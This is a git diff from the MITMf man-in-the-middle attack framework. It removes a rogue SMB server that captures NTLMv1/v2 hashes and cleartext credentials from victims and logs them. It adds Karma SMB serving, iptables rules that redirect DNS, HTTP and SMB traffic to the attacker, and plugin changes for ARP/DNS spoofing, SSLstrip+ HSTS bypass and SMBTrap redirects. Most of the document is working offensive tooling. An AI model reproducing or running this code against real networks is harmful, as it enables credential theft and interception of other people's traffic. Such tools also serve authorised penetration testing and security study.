"\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("errorcode", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) -################################################################################## -#SMB Negotiate Answer LM packet. -class SMBNegoAnsLM(Packet): - fields = OrderedDict([ - ("Wordcount", "\x11"), - ("Dialect", ""), - ("Securitymode", "\x03"), - ("MaxMpx", "\x32\x00"), - ("MaxVc", "\x01\x00"), - ("Maxbuffsize", "\x04\x41\x00\x00"), - ("Maxrawbuff", "\x00\x00\x01\x00"), - ("Sessionkey", "\x00\x00\x00\x00"), - ("Capabilities", "\xfc\x3e\x01\x00"), - ("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"), - ("Srvtimezone", "\x2c\x01"), - ("Keylength", "\x08"), - ("Bcc", "\x10\x00"), - ("Key", ""), - ("Domain", "SMB"), - ("DomainNull", "\x00\x00"), - ("Server", "SMB-TOOLKIT"), - ("ServerNull", "\x00\x00"), - ]) - - def calculate(self): - ##Convert first.. - self.fields["Domain"] = self.fields["Domain"].encode('utf-16le') - self.fields["Server"] = self.fields["Server"].encode('utf-16le') - ##Then calculate. - CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"]) - self.fields["Bcc"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) - self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) - self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) - self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) - - ###### Andxoffset calculation. - CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen - - self.fields["Andxoffset"] = struct.pack(" 260: - SSPIStart = data[79:] - LMhashLen = struct.unpack(' 260: - SSPIStart = data[79:] - LMhashLen = struct.unpack(' 60: - outfile = "./logs/responder/SMB-NTLMv2-Client-"+client+".txt" - NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() - DomainLen = struct.unpack(' 25: - Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] - responder_logger.info('[+]SMB-NTLMv2 hash captured from :%s'%(client)) - outfile = "./logs/responder/SMB-NTLMv2-Client-"+client+".txt" - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper() - ParseShare(data) - WriteData(outfile,Writehash, Username+"::"+Domain) - responder_logger.info('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash)) - if NthashLen == 24: - responder_logger.info('[+]SMB-NTLMv1 hash captured from :%s'%(client)) - outfile = "./logs/responder/SMB-NTLMv1-Client-"+client+".txt" - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal - ParseShare(data) - WriteData(outfile,writehash, Username+"::"+Domain) - responder_logger.info('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) - responder_logger.info('[+]SMB-NTLMv1 Username:%s'%(Username)) - responder_logger.info('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) - except Exception: - raise - -def IsNT4ClearTxt(data): - HeadLen = 36 - Flag2 = data[14:16] - if Flag2 == "\x03\x80": - SmbData = data[HeadLen+14:] - WordCount = data[HeadLen] - ChainedCmdOffset = data[HeadLen+1] - if ChainedCmdOffset == "\x75": - PassLen = struct.unpack(' 2: - Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") - User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") - #print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) - responder_logger.info("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) - -#SMB Server class, NTLMSSP -class SMB1(BaseRequestHandler): - - def handle(self): - try: - while True: - data = self.request.recv(1024) - self.request.settimeout(1) - ##session request 139 - if data[0] == "\x81": - buffer0 = "\x82\x00\x00\x00" - self.request.send(buffer0) - data = self.request.recv(1024) - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": - #Customize SMB answer. - head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) - t.calculate() - final = t - packet0 = str(head)+str(final) - buffer0 = longueur(packet0)+packet0 - self.request.send(buffer0) - data = self.request.recv(1024) - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": - IsNT4ClearTxt(data) - head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) - t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(4096) - if data[8:10] == "\x73\x00": - if Is_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. - final = SMBSessEmpty() - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - else: - ParseSMBHash(data,self.client_address[0]) - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = SMBSession2Accept() - final.calculate() - packet2 = str(head)+str(final) - buffer2 = longueur(packet2)+packet2 - self.request.send(buffer2) - data = self.request.recv(1024) - ##Tree Connect IPC Answer - if data[8:10] == "\x75\x00": - ParseShare(data) - head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) - t = SMBTreeData() - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Tree Disconnect. - if data[8:10] == "\x71\x00": - head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##NT_CREATE Access Denied. - if data[8:10] == "\xa2\x00": - head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Trans2 Access Denied. - if data[8:10] == "\x25\x00": - head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##LogOff. - if data[8:10] == "\x74\x00": - head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x02\xff\x00\x27\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - - except Exception: - pass #no need to print errors.. - -#SMB Server class, old version. -class SMB1LM(BaseRequestHandler): - - def handle(self): - try: - self.request.settimeout(0.5) - data = self.request.recv(1024) - ##session request 139 - if data[0] == "\x81": - buffer0 = "\x82\x00\x00\x00" - self.request.send(buffer0) - data = self.request.recv(1024) - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": - if Is_LMNT_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - packet1 = str(head)+str(SMBSessEmpty()) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - else: - ParseLMNTHash(data,self.client_address[0]) - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - packet1 = str(head)+str(SMBSessEmpty()) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - - except Exception: - self.request.close() - pass \ No newline at end of file diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index d413926..8a86477 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -1,81 +1,85 @@ import logging import sys import threading +import os + from socket import error as socketerror from impacket import version, smbserver, LOG +from core.servers.smb.KarmaSMB import KarmaSMBServer from core.configwatcher import ConfigWatcher from core.utils import shutdown -LOG.setLevel(logging.INFO) -LOG.propagate = False -logging.getLogger('smbserver').setLevel(logging.INFO) -logging.getLogger('impacket').setLevel(logging.INFO) - -formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -fileHandler = logging.FileHandler("./logs/mitmf.log") -streamHandler = logging.StreamHandler(sys.stdout) -fileHandler.setFormatter(formatter) -streamHandler.setFormatter(formatter) -LOG.addHandler(fileHandler) -LOG.addHandler(streamHandler) +#Logging is something I'm going to have to clean up in the future class SMBserver(ConfigWatcher): + _instance = None impacket_ver = version.VER_MINOR + server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower() + smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"] + smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"]) - def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''): - + @staticmethod + def getInstance(): + if SMBserver._instance == None: + SMBserver._instance = SMBserver() + + return SMBserver._instance + + def parseConfig(self): + server = None try: - self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile) - self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"]) + if self.server_type == 'normal': + + formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + self.configureLogging(formatter) + + server = smbserver.SimpleSMBServer(listenPort=self.smb_port) + + for share in self.config["MITMf"]["SMB"]["Shares"]: + path = self.config["MITMf"]["SMB"]["Shares"][share]['path'] + readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower() + server.addShare(share.upper(), path, readOnly=readonly) + + server.setSMBChallenge(self.smbchallenge) + server.setLogFile('') + + elif self.server_type == 'karma': + + formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + self.configureLogging(formatter) + + server = KarmaSMBServer(self.smbchallenge, self.smb_port) + server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"] + + for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems(): + server.extensions[extension.upper()] = os.path.normpath(path) + + else: + shutdown("\n[-] Invalid SMB server type specified in config file!") + + return server + except socketerror as e: if "Address already in use" in e: - shutdown("\n[-] Unable to start SMB server on port 445: port already in use") + shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(listenPort)) + + def configureLogging(self, formatter): + #yes I know this looks awful, yuck + + LOG.setLevel(logging.INFO) + LOG.propagate = False + logging.getLogger('smbserver').setLevel(logging.INFO) + logging.getLogger('impacket').setLevel(logging.INFO) + + fileHandler = logging.FileHandler("./logs/mitmf.log") + streamHandler = logging.StreamHandler(sys.stdout) + fileHandler.setFormatter(formatter) + streamHandler.setFormatter(formatter) + LOG.addHandler(fileHandler) + LOG.addHandler(streamHandler) def start(self): - t = threading.Thread(name='SMBserver', target=self.server.start) + t = threading.Thread(name='SMBserver', target=self.parseConfig().start) t.setDaemon(True) t.start() - -""" -class SMBserver(Thread): - def __init__(self): - Thread.__init__(self) - - def run(self): - # Here we write a mini config for the server - smbConfig = ConfigParser.ConfigParser() - smbConfig.add_section('global') - smbConfig.set('global','server_name','server_name') - smbConfig.set('global','server_os','UNIX') - smbConfig.set('global','server_domain','WORKGROUP') - smbConfig.set('global','log_file', 'None') - smbConfig.set('global','credentials_file','') - - # Let's add a dummy share - #smbConfig.add_section(DUMMY_SHARE) - #smbConfig.set(DUMMY_SHARE,'comment','') - #smbConfig.set(DUMMY_SHARE,'read only','no') - #smbConfig.set(DUMMY_SHARE,'share type','0') - #smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) - - # IPC always needed - smbConfig.add_section('IPC$') - smbConfig.set('IPC$','comment','') - smbConfig.set('IPC$','read only','yes') - smbConfig.set('IPC$','share type','3') - smbConfig.set('IPC$','path') - - self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) - - self.smb.processConfigFile() - try: - self.smb.serve_forever() - except: - pass - - def stop(self): - self.smb.socket.close() - self.smb.server_close() - self._Thread__stop() -""" \ No newline at end of file diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 0126675..8e9525c 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -72,7 +72,12 @@ class ServerConnection(HTTPClient): def sendRequest(self): if self.command == 'GET': try: - mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host'])) + + if ('Unknown' in self.clientInfo[0]) or ('Unknown' in self.clientInfo[1]): + mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) + else: + mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host'])) + except Exception as e: mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e)) mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) @@ -120,10 +125,12 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - try: - version, code, message = self.plugins.hook() - except ValueError: - pass + + values = self.plugins.hook() + + version = values['version'] + code = values['code'] + message = values['message'] mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) diff --git a/core/utils.py b/core/utils.py index 9aa8898..42a9aa2 100644 --- a/core/utils.py +++ b/core/utils.py @@ -69,8 +69,9 @@ class IpTables: _instance = None def __init__(self): - self.dns = False - self.http = False + self.dns = False + self.http = False + self.smb = False @staticmethod def getInstance(): @@ -90,11 +91,16 @@ class IpTables: os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port)) self.http = True - def DNS(self, ip, port): - mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}:{}".format(ip, port)) - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to {}:{}'.format(ip, port)) + def DNS(self, dns_redir_port): + mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port)) + os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port)) self.dns = True + def SMB(self, smb_redir_port): + mitmf_logger.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port)) + os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port)) + self.smb = True + class Banners: banner1 = """ diff --git a/mitmf.py b/mitmf.py index af53f6f..efa0f8d 100755 --- a/mitmf.py +++ b/mitmf.py @@ -179,12 +179,12 @@ print "|_ DNSChef v{} online".format(DNSChef.version) #Start the HTTP Server from core.servers.http.HTTPServer import HTTPServer HTTPServer.getInstance().start() -print "|_ HTTPserver online" +print "|_ HTTP server online" #Start the SMB server from core.servers.smb.SMBserver import SMBserver -print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver) -SMBserver().start() +print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) +SMBserver.getInstance().start() #start the reactor reactor.run() diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py index 157c1d5..aba0d5d 100644 --- a/plugins/SMBTrap.py +++ b/plugins/SMBTrap.py @@ -17,7 +17,7 @@ class SMBTrap(Plugin): self.ourip = SystemConfig.getIP(options.interface) def serverResponseStatus(self, request, version, code, message): - return (version, 302, "Found") + return {"request": request, "version": version, "code": 302, "message": "Found"} def serverHeaders(self, response, request): mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 2acda8c..b346b35 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -22,7 +22,6 @@ import sys import logging from plugins.plugin import Plugin -from core.utils import IpTables, SystemConfig from core.sslstrip.URLMonitor import URLMonitor from core.servers.dns.DNSchef import DNSChef @@ -37,11 +36,10 @@ class HSTSbypass(Plugin): def initialize(self, options): self.options = options self.manualiptables = options.manualiptables - ip_address = SystemConfig.getIP(options.interface) if not options.manualiptables: if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(ip_address, self.config['MITMf']['DNS']['port']) + IpTables.getInstance().DNS(self.config['MITMf']['DNS']['port']) URLMonitor.getInstance().setHstsBypass() DNSChef.getInstance().setHstsBypass() diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 02fcda9..b4fd9ca 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -49,7 +49,7 @@ class Spoof(Plugin): #Makes scapy more verbose debug = False if options.log_level == 'debug': - debug = True + debug = False if options.arp: @@ -98,9 +98,7 @@ class Spoof(Plugin): if not options.manualiptables: if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(self.myip, self.dnscfg['port']) - - DNSChef.getInstance().loadRecords(self.dnscfg) + IpTables.getInstance().DNS(self.dnscfg['port']) if not options.arp and not options.icmp and not options.dhcp and not options.dns: shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") @@ -108,7 +106,6 @@ class Spoof(Plugin): SystemConfig.setIpForwarding(1) if not options.manualiptables: - IpTables.getInstance().Flush() if IpTables.getInstance().http is False: IpTables.getInstance().HTTP(options.listen) diff --git a/plugins/TestPlugin.py b/plugins/TestPlugin.py index 4fd212c..d3b0806 100644 --- a/plugins/TestPlugin.py +++ b/plugins/TestPlugin.py @@ -1,6 +1,5 @@ from plugins.plugin import Plugin -from core.servers.http.HTTPServer import HTTPServer -import tornado.web +from core.servers.http.HTTPServer import HTTPServer, HTTPHandler class TestPlugin(Plugin): name = "testplugin" @@ -10,9 +9,8 @@ class TestPlugin(Plugin): has_opts = False def initialize(self, options): - HTTPServer.getInstance().addHandler(r"/test/(.*)", MainHandler) + HTTPServer.getInstance().addHandler(r"/test/.*", WebServer) -class MainHandler(tornado.web.RequestHandler): +class WebServer(HTTPHandler): def get(self): - print self.request - self.write("Hello World!") + self.write("It works MOFO!") \ No newline at end of file diff --git a/plugins/plugin.py b/plugins/plugin.py index 1d9b82b..053adc4 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -46,7 +46,7 @@ class Plugin(ConfigWatcher, object): ''' Handles server response HTTP version, code and message ''' - return (version, code, message) + return {"request": request, "version": version, "code": code, "message": message} def serverResponse(self, response, request, data): '''